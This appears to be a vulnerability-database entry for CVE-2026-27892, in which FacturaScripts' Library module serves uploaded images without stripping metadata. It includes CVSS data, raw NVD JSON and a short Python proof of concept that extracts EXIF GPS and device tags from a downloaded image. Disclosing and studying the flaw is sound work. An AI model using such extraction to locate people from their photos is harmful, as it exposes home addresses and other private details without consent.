Security Vulnerability Report
中文
CVE-2026-27892 CVSS 6.5 MEDIUM

CVE-2026-27892

Published: 2026-05-18 22:16:39
Last Modified: 2026-05-19 14:44:43

Description

FacturaScripts is an open source accounting and invoicing software. In versions prior to 2026, the Library module stores and serves uploaded images byte-for-byte, without stripping EXIF/XMP/IPTC metadata. Any authenticated user who downloaded an image could extract the uploader's embedded metadata, which included GPS coordinates, device information, timestamps, embedded comments/notes, thumbnail previews, and other personally identifiable information (PII) preserved in the image metadata. Of all FacturaScripts' image upload features, only the Library module combined unrestricted uploads, persistent storage, authenticated download access, and a total lack of server-side metadata sanitization. This vulnerability carries significant real-world impact: an employee uploading a photo taken at their home inadvertently discloses their precise home address to every user with Library download access. This issue has been fixed in version 2026.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

FacturaScripts < 2026

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept: Extracting Metadata from a Downloaded Image # This script simulates an attacker analyzing a downloaded image from FacturaScripts. import exifread from PIL import Image import sys def extract_metadata(image_path): try: # Open the image file in binary mode with open(image_path, 'rb') as f: tags = exifread.process_file(f) print(f"[*] Analyzing {image_path} for metadata...") if not tags: print("[-] No EXIF metadata found.") return # Check for GPS info gps_keys = [key for key in tags.keys() if key.startswith('GPS')] if gps_keys: print("[+] GPS Information Found:") for key in gps_keys: print(f" {key}: {tags[key]}") else: print("[-] No GPS Information found.") # Check for Device/Software info device_keys = ['Image Make', 'Image Model', 'Image Software', 'EXIF DateTimeOriginal'] for key in device_keys: if key in tags: print(f"[+] {key}: {tags[key]}") except FileNotFoundError: print(f"Error: File '{image_path}' not found.") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": # Usage: python poc.py <image_file> if len(sys.argv) < 2: print("Usage: python poc.py <path_to_image>") sys.exit(1) extract_metadata(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27892", "sourceIdentifier": "[email protected]", "published": "2026-05-18T22:16:38.543", "lastModified": "2026-05-19T14:44:43.127", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FacturaScripts is an open source accounting and invoicing software. In versions prior to 2026, the Library module stores and serves uploaded images byte-for-byte, without stripping EXIF/XMP/IPTC metadata. Any authenticated user who downloaded an image could extract the uploader's embedded metadata, which included GPS coordinates, device information, timestamps, embedded comments/notes, thumbnail previews, and other personally identifiable information (PII) preserved in the image metadata. Of all FacturaScripts' image upload features, only the Library module combined unrestricted uploads, persistent storage, authenticated download access, and a total lack of server-side metadata sanitization. This vulnerability carries significant real-world impact: an employee uploading a photo taken at their home inadvertently discloses their precise home address to every user with Library download access. This issue has been fixed in version 2026."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-212"}]}], "references": [{"url": "https://github.com/NeoRazorX/facturascripts/commit/b0725147a61a9a377b7180589af33ff52b4751e2", "source": "[email protected]"}, {"url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-q7f2-rv22-2xgr", "source": "[email protected]"}, {"url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-q7f2-rv22-2xgr", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}